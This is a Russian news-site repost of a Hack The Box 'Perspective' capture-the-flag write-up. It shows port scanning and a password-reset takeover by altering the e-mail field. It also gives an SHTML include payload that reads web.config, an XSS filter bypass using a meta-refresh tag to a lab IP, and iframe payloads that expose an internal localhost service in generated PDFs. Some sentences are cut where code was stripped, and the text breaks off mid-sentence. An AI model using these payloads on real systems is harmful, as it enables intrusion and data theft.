Категория > Новости > HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle - «Новости»
HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle - «Новости»20-10-2022, 00:02. Автор: Adrian |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.151 perspective.htb И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Скрипт нашел два открытых порта: 22 — служба OpenSSH for Windows и 80 — веб‑сервер Microsoft IIS 10.0. Кроме как с веб‑сервером, работать пока не с чем. Главная страница сайта perspective.htb Точка входаНа сайте можно зарегистрироваться и авторизоваться. Сразу сделаем это, так как зарегистрированным пользователям доступно больше функций, а значит, будет больше мест для тестирования. Главная страница зарегистрированного пользователя На сайте есть возможность создавать и просматривать продукты. Но что более интересно, мы находим почтовый адрес админа, а также возможность сбрасывать пароль. Форма сброса пароля После ввода почтового адреса нам задают вопросы, ответы на которые мы указывали при регистрации. Причем, если мы указываем почтовый адрес админа, вместо вопросов отображается сообщение о том, что сброс пароля администратора не включает секретные вопросы и процедура недоступна. Форма с секретными вопросами Но если перехватить запрос на сброс пароля после ответа на вопросы, можно увидеть, что, помимо прочего, на сервер передается и почтовый адрес. Перехваченный запрос на сброс пароля Я изменил свой почтовый адрес на Форма ввода нового пароляСообщение об успешном изменении пароля Авторизуемся от имени админа и получаем доступ к админской панели. Главная страница администратора Точка опорыАдмин может смотреть продукты других пользователей, для этого достаточно указать имя пользователя или почтовый адрес. Продукты пользователя Вдобавок к этому можно скачать PDF со списком продуктов. В нем все то же самое, что и на сайте. Сгенерированный PDF-документ Тогда перейдем обратно к созданному аккаунту и попробуем добавить продукт. Для продукта можно указать изображение — это очень интересный момент, так как это изображение (точнее, файл) будет вставлен в PDF. Значит, можно попробовать подключить файл SHTML, что при его включении в PDF позволит получить содержимое произвольного файла с диска. Давай создадим SHTML, который загрузит файл конфигураций <!--#include file="../web.config"--> Но при загрузке такого файла сервер выдаст ошибку — загружать можно только изображение. Это можно обойти, если в Burp Proxy исправить содержимое HTTP-заголовка Запрос на сервер в Burp Proxy В Burp History обнаружим запрос к SHTML и конфигурации в ответе. Запрос в Burp History Из интересного отмечаем сервис на порте 8000, доступный для локального хоста, а также зашифрованный пароль. Содержимое файла web.config XSSТак как есть промежуточный сервис обработки и преобразования введенных нами данных, следует поискать другие уязвимости, которые помогут эксфильтровать данные с внутреннего сервера на порте 8000. И натыкаемся на фильтр XSS. Сообщение об обнаружении вредоносной активности Так как используются фильтры, стоит перебрать возможные варианты нагрузок. Это поможет найти нагрузку, обходящую фильтры. Перехватываем запрос в Burp Proxy и перенаправляем в Burp Intruder (комбинация клавиш Ctrl-I, Ctrl-Shift-I). Burp Intruder — вкладка Positions В опциях добавим параметр Grep — Extract и выберем опознавательную строку, которая будет сообщать об обнаруженной атаке. Burp Intruder — вкладка Options (параметр Grep — Extract) Эта опция добавит в результат перебора еще один столбец, который отобразит возвращенное сервером сообщение. Так мы быстро отфильтруем нагрузки, которые обходят фильтр. Для перебора я взял готовый список с гитхаба Payload Box. Результат перебора нагрузок В результате находим немало вариантов для эксплуатации XSS. Остановимся на использовании тега <META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html"> Эта нагрузка должна включить в отчет страницу Проверка уязвимости XSSЛоги листенера netcat Запрос пришел, а значит, сервис уязвим! ПродвижениеТеперь перейдем к содержимому подключаемого файла. В нашем HTML-файле будем использовать тег <iframe src="http://localhost:8000/">iframe> Генерируем PDF и видим в нем нужную нам страницу. Сгенерированный PDF-файл Страница полностью не поместилась во фрейм, поэтому зададим ему размеры. <iframe src="http://localhost:8000/" height="2500px" width="2500px">iframe> Теперь можем разобрать содержимое страницы. Видим функции <iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px">iframe> При обращении к странице Перейти обратно к новости |